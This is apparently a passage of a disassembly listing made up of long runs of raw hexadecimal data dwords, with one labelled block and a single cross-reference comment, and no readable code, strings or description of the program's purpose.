		dd 1346177Eh, 0C86044D8h, 0EB41F404h, 5F00F82Ch, 3D6897B6h
		dd 0CB043B4h, 74D0124Ah, 40EB900Ah, 0AA90AA41h,	0F0F449C0h
		dd 0F19892E0h, 0A625A83Ch, 4009451h, 6E28CE6Ch,	771D0744h
		dd 0F289EA9Eh, 0D50FE5h, 0B6ADE9ECh, 71162552h,	0C6A89C20h
		dd 60CF115Bh, 7834E9E6h, 0D75120Ch, 41680449h, 0FCE616B4h
		dd 0CCD7BFE0h, 72CA5007h, 64C99215h, 0C68900B0h, 71B41A9Fh
		dd 9FE8580h, 0F9185302h, 7E83DD64h, 0B491030h, 61ABBEA8h
		dd 6F6AC5D8h, 10870540h, 0CC82D199h, 248F60Eh, 4AF1C4FDh
		dd 0D6307Ch, 0A7BBBC80h, 646DD6B3h, 4638B810h, 0E67AAA05h
		dd 80ECA8E3h, 0A66A256Fh, 88B4A177h, 6450103Ah,	18C39B8h
		dd 13B8E15Fh, 7A55C751h, 6C480801h, 607ADF1Ch, 1040D930h
		dd 0E58B6A00h, 91ED37FEh, 0A0F409h, 97C00FCEh, 0DD8AA3DFh
		dd 4B5BBE22h, 5AE89044h, 0B33D4EAFh, 0FA2F05C6h, 68D4A4F2h
		dd 2F6E849Dh, 182358h, 0CD2D7876h, 7498A5FFh, 0DD2B2504h
		dd 0DCC08FE4h, 95C9E102h, 3F11109Dh, 6BC41C80h,	8E04A7A6h
		dd 9E2AE69Dh, 9872F881h, 82B3F09h, 0A4092423h, 0B0CF028Ch
		dd 0D5C04909h, 13B2EC63h, 7D188430h, 7D5A0509h,	80CD9A39h
		dd 79F10AA0h, 497F190Bh, 0E58C106Dh, 0B41DFE54h, 3C57004Ch
		dd 53C29E6Fh, 860EA812h, 6712E8E9h, 4FFCACFFh, 0E9C61021h
		dd 94886500h, 0F464234Fh, 3AF28CA2h, 9ACC1E31h,	0C52D3DBAh
		dd 5474C97h, 49D031ACh,	0E4A9613Ch, 0DCC876h, 0E0F488CCh
		dd 794C7AE4h, 2214B927h, 0DAF12AC4h, 9567200Ch,	150EAC0Bh
		dd 64F86725h, 937B6012h, 0D2F60047h, 48A4C4E3h,	0C25D626h
		dd 7084832Bh, 6D31001Ah, 694EB93Fh, 0A57E1338h,	2FB13000h
		dd 7A5CB8CDh, 0C68113E4h, 0B600403h, 0FDC01E2Ah, 279A4796h
		dd 7F612719h, 4200ACC4h, 4360875h, 54F2179h, 26E8488h
		dd 7FE0FD3Fh, 8580F9A3h, 8F3868C6h, 271F00F5h, 0D588D4E5h
		dd 0FDFE021h, 5628E616h, 470580Bh, 8FC04CADh, 20750D4h
		dd 0A86FBF5Bh, 39C13D6Bh, 0C5A2E4DDh, 0D8D29324h, 90D05585h
		dd 4CB3A0C4h, 593208E2h, 0EC814B84h, 0E8FEA075h, 70B6ED69h
		dd 84BE12C0h, 4D670762h, 80878336h, 0EBA17A07h,	0DFE864EDh
		dd 9EF40A02h, 0D8AB389Ch, 10208044h, 0C074000Ch, 976FDB04h
		dd 0FF1E7D3Bh, 2DCA5E5Ah, 904BCC0Eh, 340B464h, 7955E07Bh
		dd 49485A6Bh, 944170F8h, 0E1ED7C42h, 0CD2A2E60h, 7B6C078h
		dd 4871F14Fh, 316A0A2Eh, 1668F78h, 0A850AFC8h, 4FAC280Bh
		dd 68F8310Ah, 22D06D47h, 0CC840043h, 0F374CC5h,	6D07A131h
		dd 306053BDh, 0C6B881BEh, 0FA60BE27h, 74E597E0h, 7651AE4h
		dd 79665FEh, 5C0D305Eh,	0A49960CCh, 971826F9h, 0E9A6D00h
		dd 1632840Ch, 64749ECAh, 0D9F0880Ah, 88A8C872h,	21636C49h
		dd 2ACB99h, 68EB2351h, 0EA16F184h, 3B0F9613h, 0A6BBA503h
		dd 1580011h, 1D9173C1h,	409BC50h, 9D38E417h, 8038117Ch
		dd 615D32C5h, 170CF65Ah, 0A42D5088h, 6A7F83A8h,	456BA8C4h
		dd 23B83EBAh, 8EE0030Ch, 3CF8D3F1h, 5C4CE25Eh, 0B77D0EB0h
		dd 0EFBE8421h, 0ACF1F4E1h, 2588644Bh, 0F95924C3h, 6022A064h
		dd 25181600h, 0E5BAC782h, 24606280h, 44403A48h,	8F75088Eh
		dd 0FB6F9B7Fh, 99F8C0F7h, 0FA0917E6h, 0A42C9ED4h, 7095ADD4h
		dd 4CB838ADh, 0E7112F62h, 80C456C8h, 752E3043h,	0DC1C84D4h
		dd 0BD97536Bh, 0CB92E45Eh, 99A93421h, 40E3AC20h, 0E2FAA8Eh
		dd 0F388C068h, 0E041E3F0h, 0E189398Ch, 0B8F9829Bh, 8493EF88h
		dd 3E23BEh, 0AFCB9D7h, 0DB045BEBh, 58518048h, 9F38ABBh
		dd 0E16250BDh, 409718D8h, 206821DCh, 145F90D7h,	0C8559C23h
		dd 1E050ED3h, 0C50BC4B9h, 823641DBh, 7A274F80h,	0DD6C17B0h
		dd 0C32D2DBBh, 0FF453860h, 4B10C612h, 2FAC28A9h, 6D2593Ah
		dd 80A6F64h, 47EF2270h,	70880B13h, 8C6F50E1h, 0FD0E18E8h
		dd 2B0EADF7h, 2F14DA3Ch, 185141B3h, 63E0B804h, 5C600416h
		dd 6BC7070Ah, 9AAB2F4h,	0B0A40588h, 0F3790066h,	7BAB6BCEh
		dd 0F868C7DAh, 58F1EB15h, 0F303BF04h, 30AFE201h, 15700032h
		dd 0A71CBE28h, 11CAE861h, 0D9E053F3h, 549C12EDh, 0EDE4A1FFh
		dd 0A8D029E5h, 1AE08C3Ch, 3F3C7170h, 0EDFD0075h, 0E4909910h
		dd 0F1C49936h, 9180Fh, 5414AD67h, 0D870A15Ah, 8CC43F2Eh
		dd 8821F310h, 0B86B2A39h, 73D75209h, 7444C41Eh,	76ECB654h
		dd 631F3D46h, 50BF0369h, 0DEDBFCA9h, 0C7300B8Dh, 12ABDC0Ah
		dd 939C0454h, 0B8CC0244h, 4734F6D0h, 93479446h,	30E1DBB0h
		dd 38022A8Ch, 0A29966B6h, 0C6562108h, 0CC5425E8h, 0C69E44E8h
		dd 18039772h, 3646D363h, 4E0AD08Dh, 61621205h, 8258ACDEh
		dd 5F4B67ECh, 0BF320481h, 4414243Fh, 0C29980F5h, 525A0DE6h
		dd 0C3B7160Ah, 88B0B4E4h, 60108D42h, 79AA849Fh,	756CD898h
		dd 0C03C4E0Dh, 36D448ACh, 0F77B31EEh, 27EEC1C0h, 47B56B4h
		dd 0D886BDAAh, 4B4FCD4h, 0F553598Ah, 23042FFBh,	0C2C3000Eh
		dd 6148E35Fh, 0B6A1F361h, 30726B3Bh, 4E4F3A00h,	99A67E11h
		dd 2CC6460Ah, 0A808B470h, 0A49D0422h, 5068AC5Eh, 50B4D8ECh
		dd 0C89F13h, 9E570999h,	0FCF05AA4h, 8C600B09h, 703CDA28h
		dd 0CC18D7E6h, 3728907Ch, 34B4908Bh, 0FE9DC160h, 0A08E978Ch
		dd 880D0E91h, 0E07001A4h, 542B77CBh, 9C511078h,	0FEC342Ch
		dd 0DC6E008Ch, 9BAA310Dh, 8700CB1Dh, 60EAC40h, 0C18EC785h
		dd 6203AF24h, 64D6D2D6h, 1D37465Eh, 0EF4033D1h,	7E770C30h
		dd 32F491h, 0E3475246h,	57161DBAh, 0FE6F3E01h, 46AB097h
		dd 0E168407Bh, 2F8EF57Bh, 1532AD1Dh, 63EE80FEh,	5097E0DEh
		dd 0C67716A4h, 1A68F0F9h, 3EC9E222h, 0CFA5AAE7h, 0ABBA7840h
		dd 3452875Bh, 0AABB50F4h, 0A88440C8h, 8E4388D1h, 0AB4F96F8h
		dd 1C334C84h, 31AF9478h, 6E43F320h, 6BE3C04h, 191FD100h
		dd 0C02D849Eh, 0F1D8B9D7h, 0F5E0C6C9h, 28A09F11h, 35102814h
		dd 844F280h, 0BF886269h, 7408D0A6h, 0C50271Eh, 3C5FD109h
		dd 6140D43Ah, 0ADBC849Dh, 46983270h, 47913A30h,	2052FD3Ch
		dd 0EAA2B4C2h, 31283021h, 0EE8CC207h, 6501A4D6h, 982BB327h
		dd 88490034h, 660A1624h, 0C0E13A9Bh, 13BEDE61h,	0B86201D2h
		dd 929050A6h, 870231F1h, 5434EE66h, 4AC402Eh, 1077823Ch
		dd 7A8E9A4h, 65B25A07h,	6504F7A7h, 0B78F0086h, 0BE8BD216h
		dd 12F13425h, 56EC7428h, 0A63B0D46h, 36EEA080h,	0D06637B8h
		dd 2CB9D00h, 0D6562CEh,	0E97768h, 1FF341D8h, 0DF326751h
		dd 3419F4EAh, 0CA200CE8h, 0E2BAD8h, 0CB6740A9h,	61F70D0Fh
		dd 2D126F74h, 0C0F99A56h, 0F9EA6D00h, 0EF6A09F3h, 9D21D039h
		dd 0CE44D24Ch, 30901729h, 2C0CF7h, 0D3F9794Fh, 0E78F91ABh
		dd 0B713EC76h, 90F41E7Bh, 0CC28C1F8h, 6AED3965h, 44E9348Ah
		dd 4CF40387h, 0BEA13F5Bh, 6810887Fh, 93390C95h,	0BB3EA508h
		dd 7A26183Dh, 0C6139420h, 18AFD808h, 8D4E731h, 188D7E09h
		dd 3108A50Dh, 43408C69h, 63340864h, 0ACB5186Fh,	0C7C30819h
		dd 208C3239h, 9C10B050h
		dd 73201563h, 0CA18188Bh, 0A75D100Ch, 0C5E708C6h, 53143128h
		dd 8833D720h, 0C94A608h, 88288569h, 0C3E999C6h,	43123108h
		dd 883C7020h, 0D47A008h, 8899819Bh, 0C0FC941h, 0DA103A2Ch
		dd 40E6A840h, 0B5625740h, 6686B50h, 0D154F1FBh,	0A4A89B9Ch
		dd 28C4E145h, 181E4973h, 18950834h, 0AC88C892h,	0E58075F1h
		dd 76248019h, 0E9DD08CCh, 556140D3h, 0F310D666h, 0A1BD3371h
		dd 3937B808h, 707461BAh, 873F306h, 33A90520h, 0E0202EFAh
		dd 7BAA7110h, 58CF2F18h, 0BC809C47h, 1028DF59h,	0CB90180Dh
		dd 8177D820h, 65D8516Fh, 6DC501CCh, 8C1C604h, 20568D32h
		dd 0FF144959h, 0F20831F7h, 8CA2EDC9h, 40E32E10h, 7E7940CAh
		dd 0EA10C663h, 6A282A58h, 151032C4h, 5F0F74E9h,	0A2220E0h
		dd 6BE4EA54h, 2740CE62h, 464D0591h, 297170C4h, 92FA08A9h
		dd 50461289h, 2018E5C5h, 0B16463A5h, 409152D1h,	5C010EF8h
		dd 9F288CDFh, 625608B4h, 0D84E2041h, 1654849h, 0A20160B0h
		dd 3C38890Bh, 0A498289Ah, 208E378Ch, 0A96A40E6h, 924B9740h
		dd 0C1DB31A0h, 536EFF28h, 82A98A8h, 231F4FEh, 0CDA08A3h
		dd 8448C002h, 0D981391Fh, 4999F199h, 11E45554h,	43209019h
		dd 10C21A32h, 5FDCA2B5h, 91B7045Ah, 349D890h, 14712A55h
		dd 598865E8h, 0AF904C2Eh, 0C9CAF581h, 4088CCAAh, 0B1A2085Dh
		dd 8C0323Ch, 9F08486Eh,	2210C9E9h, 91177424h, 8CDAE030h
		dd 615F0710h, 0E6658066h, 22F718C9h, 557A1E8h, 0B8200C10h
		dd 93652008h, 0A04C87C9h, 63081048h, 7CFF0831h,	8AEE1810h
		dd 0E0BCC82Ah, 1208C9ADh, 91D92824h, 8867024Ch,	2A69810h
		dd 0CBF2BC7Fh, 7E05A464h, 5B71F613h, 1296C490h,	5897301Eh
		dd 2C162D10h, 0CAF37000h, 0B2A6444h, 887D59DBh,	0D0E84200h
		dd 68319654h, 78248D00h, 57B0CC5h, 490D0433h, 0F9DACFE6h
		dd 0B0BA1E90h, 623C4800h, 2EEE1F0Fh, 3041C8BFh,	57F4F050h
		dd 43EB5E05h, 88C09159h, 0EE44E4h, 6B13C3DBh, 98DE7F65h
		dd 0FCCBCF0Ch, 0E0BC00Dh, 0D3D8E6DAh, 1DB9D980h, 4600F618h
		dd 0B0DF715Fh, 30278BCEh, 3E18D202h, 3CECA037h,	586A8612h
		dd 0EC0CF0h, 1B117ADAh,	61EE7B05h, 5CCC80B8h, 7864204Dh
		dd 0EB40EE3Dh, 5C1E6DCh, 440561B8h, 7001FBFEh, 7BEBC860h
		dd 8013C892h, 70171A54h, 58403D4Ah, 6568BDCFh, 0E1441801h
		dd 0C857E084h, 38829231h, 9C4059EEh, 608143BCh,	0D1B06ADDh
		dd 480029FBh, 8454A150h, 0F4EC3388h, 358E87Fh, 0E5D6655Ch
		dd 4902438h, 0B007EF8h,	88305045h, 0E4331562h, 28E5002Bh
		dd 65D35BD2h, 5809410Bh, 40B7D6C8h, 39F42A4Ch, 0B04E6B66h
		dd 7003D308h, 8D43EA91h, 4E07E3Bh, 0A2443422h, 8FC0B47Bh
		dd 525A0B00h, 326BEB6Ch, 3C8BB734h, 3189DCA9h, 0D1067858h
		dd 648FCA65h, 0EB1528E0h, 0F96B2588h, 1A2F84E0h, 1759263Dh
		dd 0A00F13F3h, 0B5F8758h, 0EAD452A0h, 160E31CBh, 0F037C658h
		dd 7C61C78Dh, 0C2DDAC69h, 0FD13C4h, 37087493h, 0C0D23678h
		dd 6D9F5800h, 1392EEE1h, 0DF1B0345h, 375E4488h,	8763C839h
		dd 35C8D117h, 0A95C2263h, 0C8476A51h, 6D06B06h,	75C1143Bh
		dd 5004B893h, 381C0B2Ch, 20B05EC4h, 0DDF45859h,	146C24h
		dd 4E8C0CC1h, 9A60AA6Bh, 0C40BC8E0h, 35610AF9h,	2AC81333h
		dd 0A6901C0h, 2846D334h, 25D98894h, 350500E9h, 0BA762017h
		dd 1EFBCB18h, 24850FF0h, 0C883CD5h, 0B8484E6Dh,	0B276D700h
		dd 6A944484h, 18596057h, 6C5103BCh, 3170C4BFh, 73787189h
		dd 20D07F90h, 27E52D15h, 28509961h, 0F895FA30h,	95B36BFCh
		dd 265CCE8h, 2969350Eh,	5BAE027Dh, 0D00660A4h, 0CBD50C7Eh
		dd 0A828153Ah, 6CCE7424h, 16791D08h, 403B813h, 1BCC0BE3h
		dd 30C868F0h, 6780E899h, 0D734CB9Fh, 0FC21188Ah, 0FC7C1C77h
		dd 70286B3Dh, 0FA6C00A4h, 0E6A039A5h, 523D7150h, 18593047h
		dd 0F9FE4Eh, 0C6960770h, 0E772C473h, 578DF0Ah, 2C1E9732h
		dd 18AACB86h, 0FE637068h, 0CDC4ABE4h, 0C456740Ah, 34339E00h
		dd 0C36972BFh, 5891CB18h, 0E3602007h, 7CE07184h, 766246DDh
		dd 0FC6801E5h, 0ECCBD1F1h, 5C28AA22h, 71A85605h, 301FA76Ch
		dd 69EBA602h, 6BFC8602h, 46BF0008h, 4EBD9D64h, 9406DD62h
		dd 0CE87D68Bh, 0E6EB2950h, 9F9E1C8Ch, 0F56B0934h, 4124D48Ah
		dd 55568348h, 49CC03C0h, 11503CCBh, 0F630CC98h,	0A0D048C4h
		dd 4F8F3344h, 6AE8C238h, 48C5BA03h, 5406B8D7h, 4D80CED0h
		dd 7800B477h, 0A8F55F08h, 5A3ACF72h, 10CC489Fh,	7504626Dh
		dd 0D1E53249h, 4DC2160h, 446E8001h, 34010784h, 592AF046h
		dd 0B47AA00h, 448F9266h, 2C744D37h, 0ECDE2E01h,	0F070A859h
		dd 18C076E6h, 0C63404F1h, 9431CA65h, 605799CCh,	5C84CE6Ch
		dd 64788C50h, 8068098h,	6F4D092Fh, 4FC520B0h, 2E00E090h
		dd 629A566Bh, 0B02330Dh, 0D2505ADBh, 216A0049h,	0C3380h
		dd 748162D6h, 7DFC03Bh,	0F140D584h, 0F4D8B96Ah,	128D04Ch
		dd 16ACA3FBh, 2E3556Bh,	0D3A1C618h, 80606234h, 0DCA44313h
		dd 0AC3A6B26h, 4AFD08h,	0DD0575BCh, 0F85087CBh,	0D2025FD8h
		dd 14C8599Ch, 47A84039h, 0BB4A01D9h, 0ACCBDC3Dh, 0CF550034h
		dd 61DE26E8h, 570B0780h, 88E565CEh, 9F480F00h, 0B5A918D4h
		dd 50638B58h, 1071A04Fh, 211844h, 0C890ED73h, 596B2FCAh
		dd 6C01B881h, 0B2D4E0F6h, 2A6EF9D3h, 61671000h,	16F9C206h
		dd 1D8FEE43h, 343B4268h, 0E00CBAh, 0A824050Bh, 5C09403Fh
		dd 78E0A01Ah, 98D7022Ch, 46530028h, 0E60BBCCFh,	572A43FDh
		dd 0C814EC26h, 49C4B6CEh, 10049598h, 604973CFh,	0F680033Ch
		dd 33BF6664h, 14EC6B10h, 12C30CBh, 6277F073h, 581D0824h
		dd 5610DC33h, 751E747Ch, 0FBA4ED6h, 1751EE0Bh, 0D77D8800h
		dd 0A382486Ah, 40A5AA80h, 9050304h, 470B2FAAh, 1CA6011h
		dd 29000D87h, 9B5976C8h, 0F8BB0BE8h, 0A9F8067Fh, 6E60F48h
		dd 40033288h, 5188DB60h, 0EE002F23h, 0C56B50DAh, 272952A3h
		dd 0F4E00344h, 0BBE89543h, 0FF67041Dh, 842D24CAh, 0E65D262h
		dd 0E86FCEE0h, 942CF0C3h, 4024540Ch, 41F7408Ch,	0A43C9378h
		dd 0C764023Ch, 7846CE50h, 30B1A741h, 2E8D49E9h,	0E4219484h
		dd 500016EEh, 0D00296Ah, 0B36C3037h, 48981FFFh,	8300A011h
		dd 2C04B884h, 20CD4CBh,	78458544h, 0F0A2E0A3h, 0C9486FCAh
		dd 0EDF46BE3h, 0D4FE8104h, 0B8821311h, 0C8B8820Bh, 1C5C7Ch
		dd 0A7EBD8DBh, 0CC062C3Ah, 2F4B6BD1h, 37E61E38h, 41790C33h
		dd 4813CE10h, 80300901h, 43105AEh, 869E1C40h, 0AC0EBB06h
		dd 5804F246h, 20CCA56Ch, 43C40FD1h, 57E04293h, 886E0D9Ch
		dd 0F663010Ch, 0DE07204Eh, 0F90CC20Eh, 0F4D834C9h, 330017E0h
		dd 0E7C2BD77h, 4EB01EAh, 43D2A82Eh, 4B80D4CDh, 0B02F96D8h
		dd 0D80BCB85h, 0F137CCA8h, 0B88C8864h, 80749174h, 3277E608h
		dd 40C56294h, 0F493596Bh, 0BC9EA8DCh, 4B4A000Dh, 8B7BEEDBh
		dd 0FC1603CFh, 0D8E0FFC9h, 92FE18h, 46ED749Eh, 0E92EE46Fh
		dd 0C6AF209h, 2D902021h, 28C60433h, 123C9A55h, 395446Bh
		dd 0D33FD460h, 0D0115B90h, 24A060E3h, 6306EE98h, 2A036B62h
		dd 0BCDA4A48h, 7AD080A4h, 982335D2h, 8075FC74h,	0FB003FAFh
		dd 9F4F8033h, 0CF91562h, 5B3442Eh, 5503B820h, 0C623D1EDh
		dd 11E1E183h, 164F3980h, 0F7C85407h, 0E2A0B960h, 0CD714Dh
		dd 5FD9FEB5h, 79478CD1h
		dd 0EF4E9E00h, 771E1397h, 0D7A805EEh, 888EFE6Bh, 0C9586A10h
		dd 72E609C2h, 81F44ADEh, 93A61FD8h, 0EF19EC28h,	3AE030AEh
		dd 0F8EC5841h, 1C2BADC9h, 0E4D10090h, 26CB6B04h, 0B0C120DDh
		dd 5D05142Eh, 0BADD108Eh, 30F05058h, 9E130114h,	0C5BF3B88h
		dd 7ADB0434h, 24E0BCCBh, 4E30148h, 0AC6940C8h, 0F641D068h
		dd 0CB9043h, 66BEAD38h,	76D0610Ch, 0CDB3D20Ch, 12A17091h
		dd 33F24Ch, 0FD8D1FD4h,	0D61DEC68h, 518B9379h, 0F36000A8h
		dd 9AE20CDAh, 99849828h, 0AC202418h, 0ADCC08C4h, 901F4B8Eh
		dd 0FBD3F81Ch, 94C9ED86h, 0E04CA092h, 0A5EC8424h, 0F0C86884h
		dd 0F9EC906Ch, 6408107Eh, 3429FD25h, 0DB0C945Ch, 16C41FEh
		dd 261759B4h, 719BD04Ch, 808004Ch, 6804CED3h, 0D61FB37h
		dd 0CB0AA8A6h, 1FA09BE2h, 684A676h, 0A06FCA77h,	0C8100B60h
		dd 0ACF0A8B3h, 6B89C2A8h, 6048B728h, 46009D56h,	13696FD9h
		dd 0E27ABF9h, 0C16BE336h, 0F2A6C0FCh, 8A96662h,	73007090h
		dd 0ADF514C0h, 4C500B25h, 0F06146CCh, 53DACF77h, 82DC88A0h
		dd 60CCD534h, 602D1328h, 0BFC8550Ch, 10AC18D5h,	12116544h
		dd 0C4A48F73h, 403BF84Bh, 0CC03B31Fh, 0C8CEEE8Eh, 0DFF80062h
		dd 7872F912h, 4360D666h, 0AAE10BB0h, 86289B3Fh,	906F2A6Bh
		dd 65B1CE00h, 502F9E4Eh, 0F52E4A1h, 0CA5C47F9h,	35EDA900h
		dd 430BF519h, 109380AFh, 62F64440h, 3B358868h, 0EE1770E4h
		dd 7801BE15h, 0A02ACC93h, 6B619887h, 3A709CB3h,	6D5FE001h
		dd 3D43CBD3h, 63E8976Fh, 600BBB73h, 1A8B5048h, 0FCB4643Ch
		dd 404BB2Eh, 0AA16CBh, 0B3F7A250h, 0EC0E0BBAh, 0FC8879D9h
		dd 96F341ACh, 9385F96Ah, 0BC18DA80h, 1A65079h, 3534E524h
		dd 345CAD44h, 0D504D0C8h, 0DC9173C0h, 6DCA00FAh, 865E6F6h
		dd 4448C10Eh, 75588046h, 0E8F3B45Fh, 13A4248Fh,	59210FDCh
		dd 78F1809Dh, 0F76BEE0Ch, 0C1645C01h, 0ECA3C473h, 0C9A56080h
		dd 0DBD38621h, 0FEEF6B0Ah, 0C8825827h, 0C2CC69F6h, 7B0441C8h
		dd 48A80834h, 584C9072h, 0D0846F89h, 0EEE0D03Ah, 2A07137Fh
		dd 7D2B3C9Ah, 0EDFCFED0h, 81C827D0h, 4993A0C0h,	44044E4Bh
		dd 34A041CBh, 4C737E90h, 6A0EB830h, 2507DEB1h, 0D333F0EAh
		dd 3F053EE7h, 0A0D038DCh, 947CA004h, 0D05D74B2h, 74A85502h
		dd 5081A66Ch, 72EBD9C8h, 15CB83E4h, 9C7801FDh, 596E0448h
		dd 139C3C93h, 0C4026BF7h, 0E28AB368h, 0F04C007h, 9C3073EFh
		dd 43DE00C0h, 0D3F4787Eh, 0CD823C9Eh, 0D74CD77Ah, 2C18EC08h
		dd 2CB600B4h, 5CEC5489h, 0D4943300h, 16340A73h,	1D5A160Ch
		dd 44A001D7h, 60701FAAh, 86414E00h, 0C8EEBC41h,	0FE200AFDh
		dd 4509A9Dh, 211D62FEh,	0E40C8055h, 4C0B6743h, 484FD144h
		dd 0C0DBD908h, 0E53FD8F8h, 0E100A69Fh, 678BCCB0h, 1F184AE0h
		dd 2D675F8h, 17B9CBD4h,	0C86F1868h, 61F82082h, 45C4ADAh
		dd 27444670h, 8614D05Bh, 0FD296C0Fh, 1808B4D2h,	7F021AFh
		dd 74CBECCEh, 0A3A801EEh, 0B025D544h, 0C1804040h, 291B313Fh
		dd 0E3941D08h, 0BF3EE8E8h, 0D4069B2Ah, 603B9535h, 65F48CC0h
		dd 85694A6Bh, 9DF85C70h, 2EC2A32h, 19D5CC73h, 0C0405A50h
		dd 89033A9Ch, 6DE44015h, 6CB9FFADh, 40646F4Ch, 0B88B0100h
		dd 9414F2B3h, 2ACD4EEh,	0AB6F0C6h, 6B23E064h, 9C02B519h
		dd 0A0E83CBAh, 189A89BBh, 0E9C97270h, 0D218802Fh, 2D5BEB34h
		dd 740032C8h, 77475996h, 464BB6EAh, 30C464B0h, 78182BDEh
		dd 0B102519Eh, 0C76795F5h, 5EFC60C5h, 627C9C60h, 78DE19CBh
		dd 0A70A53Dh, 202E583Ch, 8AE16047h, 2830FC34h, 65D4402Eh
		dd 0FEF08F71h, 0C9F85A58h, 2B3D0732h, 0F0ABAB0h, 64D93D51h
		dd 0F3E63300h, 0E7A86C1Eh, 44AB6812h, 0DC20C8E5h, 1002B7C5h
		dd 0A0CA155Eh, 0EB966068h, 181FC9Eh, 0C6EE4486h, 0C64E6E0h
		dd 0D5E8F91h, 0A64F0B30h, 0D450B445h, 6E4DC88h,	290F2ECDh
		dd 0DC5C102Ch, 0C38610B4h, 35E5F40Fh, 10E1BB1Ch, 0BCFD6BF8h
		dd 2C25FCE1h, 807C8973h, 448ECE90h, 88254922h, 0D840DE27h
		dd 0EA4CC967h, 0C962068h, 0F7F46ABBh, 33261CB9h, 6B847865h
		dd 0B8935520h, 839288CCh, 40E0B048h, 0FA0213A7h, 0BF182AA5h
		dd 0DB7460F3h, 443C94BBh, 2D28489h, 0DE695C8Ch,	52F05844h
		dd 0FE602641h, 22344A2Ah, 4C441DACh, 0C804AE4Ah, 2C839F8Ah
		dd 9D19348h, 0E5431578h, 53743424h, 0D1C7B0D1h,	80129212h
		dd 0B9D74170h, 28B0C4h,	7EDB04B2h, 1F484A13h, 0CC02180Eh
		dd 0F4C833C8h, 62649E52h, 0B4920344h, 0D0D0B642h, 0A5E6C516h
		dd 719DA400h, 0FDC20C9h, 43D866C3h, 0E5D302BFh,	3860C8B3h
		dd 9E003ACCh, 1B81635Ch, 1779E3E7h, 838CAC6Bh, 0C9143A8h
		dd 319070BBh, 846CE441h, 0E38C244Eh, 0FE9440ACh, 2BCC2807h
		dd 0C8926671h, 0CC80F7C1h, 3B4687D6h, 4051E7Bh,	78316B7Eh
		dd 0C0FCC054h, 0FE640561h, 3CD031C9h, 0F8340338h, 0C60AAF7Bh
		dd 88F938CBh, 0D0FE0B09h, 6D81326Dh, 8C988F28h,	0A4B663B4h
		dd 31B7064Fh, 0C2700010h, 0CAC5671Eh, 0B1272B99h, 203861CBh
		dd 10E97300h, 354BB903h, 0A8374213h, 726AE66Eh,	915B32FBh
		dd 0CC81EEB0h, 56F11C4Fh, 0F014F888h, 0C48430EDh, 44E0596Bh
		dd 610D25Eh, 683FD64Ch,	93775109h, 66E898D1h, 1FCE00D9h
		dd 22C01C1h, 6C7409D4h,	0FA52FE07h, 0A144C83Fh,	3BF87090h
		dd 77DD0121h, 2012DCF4h, 9E118039h, 0CBD1341Bh
dword_4E414C	dd 9444FDD0h, 0F5909081h, 8FCB005h, 38D06A48h, 5205890Bh
					; DATA XREF: ___:off_43A188o
		dd 0C2C02E94h, 6A7D6644h, 0DD608044h, 0BAAB02CBh, 8D34C88h
		dd 29581992h, 3CD9EE9Dh, 0E9C86260h, 0F6B1CFDCh, 1A691938h
		dd 3CABC8A0h, 2EEFAE80h, 26104E1Dh, 829C16B5h, 0D0C06078h
		dd 0A000165Eh, 37BADD27h, 161470F8h, 1C19D250h,	0B36C407Dh
		dd 4522201Ah, 0DF759003h, 0B812FAF9h, 24852892h, 0A073B0h
		dd 8AC3BC0Eh, 0C6075B5Ch, 0D3D42C82h, 26A4B16h,	0C8051BA1h
		dd 0E88772F4h, 821876DDh, 5DE14414h, 86711868h,	69386B20h
		dd 0FC81D003h, 0E8D0342Bh, 0DB2701F3h, 6C9C984Eh, 2D091FFh
		dd 4D0B6456h, 99043C7Ah, 4F706555h, 40F7E898h, 944C7303h
		dd 0BC829314h, 7290627Bh, 9FFA5CC0h, 0CC34C716h, 0CC149368h
		dd 7FCA27Eh, 0F60A0ED5h, 60DBF780h, 11D70977h, 8060415Dh
		dd 924063C8h, 384C31F0h, 7C5F5481h, 12F8C4ECh, 748CC124h
		dd 0A04C44CAh, 6B7A669Ch, 0BC03B09Eh, 0F81367A7h, 0E7D6CE8h
		dd 87505FE0h, 1CD62CEFh, 3FDC0000h, 6AA81D3Dh, 0BF73C800h
		dd 1E5CE51Fh, 26B4E6A1h, 0EC90F0h, 0DABE5E04h, 19F30C8h
		dd 5130DACh, 440B4C66h,	0F400B211h, 470B6F58h, 85B8E858h
		dd 0A02694D4h, 0AE4FF1h, 0D6E99C8h, 0CE17F1BCh,	0B0D12046h
		dd 0E600FBD5h, 6501D8BBh, 3D1735D6h, 0AFFC6C2Eh, 6D4D3AF9h
		dd 28A02F9Ah, 4050C826h, 0E8B47CA4h, 78A06A12h,	0F8C64944h
		dd 13E9EE00h, 66C773FCh, 20F0E4BAh, 0CBE21CA3h,	6803F899h
		dd 994C5074h, 0F472950Bh, 0C830226Eh, 228D487h,	73FFBF08h
		dd 432D8A4h, 0F3050C82h, 29A087D8h, 0D32C5881h,	25CC30D5h
		dd 0E754DD07h, 2AE2C10Bh, 0F6544857h, 0E20D04B6h, 0E37BD009h
		dd 0D1C80CF8h, 5137083h, 4330C42Ch, 12058303h, 952F4BC0h
		dd 0ECF48F01h, 0D1A869FAh, 6785A9BAh, 8244F20Bh, 9CC24F84h
		dd 0A4F4A0F2h, 17D0B75Dh, 144404D5h, 2C91B2ACh,	80237441h
		dd 0C763FE09h, 0C818AC34h, 5018CC0Fh, 3F880BB8h, 9F00E19Ah
		dd 0D382AC24h, 6A74970Eh, 992045A0h, 6B0BDCB2h,	1464414Ah
		dd 0BC7464FDh, 5B65AB40h, 277822B3h, 0A4F2A862h, 0A34400B0h
		dd 78BB1C32h, 0ADD90041h, 74C45366h, 62802F13h,	0B93B44CAh
		dd 70A8B8E0h, 350BADDAh, 87587424h, 12D0FBF0h, 0F2C86C5Eh
		dd 0F2A33A3Dh, 41B38D90h, 0EB6A60C0h, 0E9160BFEh, 0A04B946Ah
		dd 0BEF820FFh, 4FDA7762h, 8F6C2019h, 0B70BDCA8h, 42B26B53h
		dd 2780C4D8h, 7C2F7DA9h, 8407A0DEh, 7ACFB72Fh, 68E442C5h
		dd 95922574h, 0E1FD3424h, 30D8E198h, 0A2B0BFA3h, 5F625CBCh
		dd 0C856051Bh, 0B630C8F0h, 0EF9340CEh, 48664850h, 109CB00h
		dd 390EB1E4h, 5ACE38h, 0F6B3C9A0h, 2BBDC95h, 7E66220Fh
		dd 88F640C7h, 5D094C29h, 620CEBDh, 0BF029243h, 68B68172h
		dd 7F784404h, 3F5DCB0h,	0A28DEAFh, 0D6D0EE13h, 0F4060250h
		dd 811C6AD9h, 0B46C1CD8h, 19880416h, 5F18F37Ch,	4499BC24h
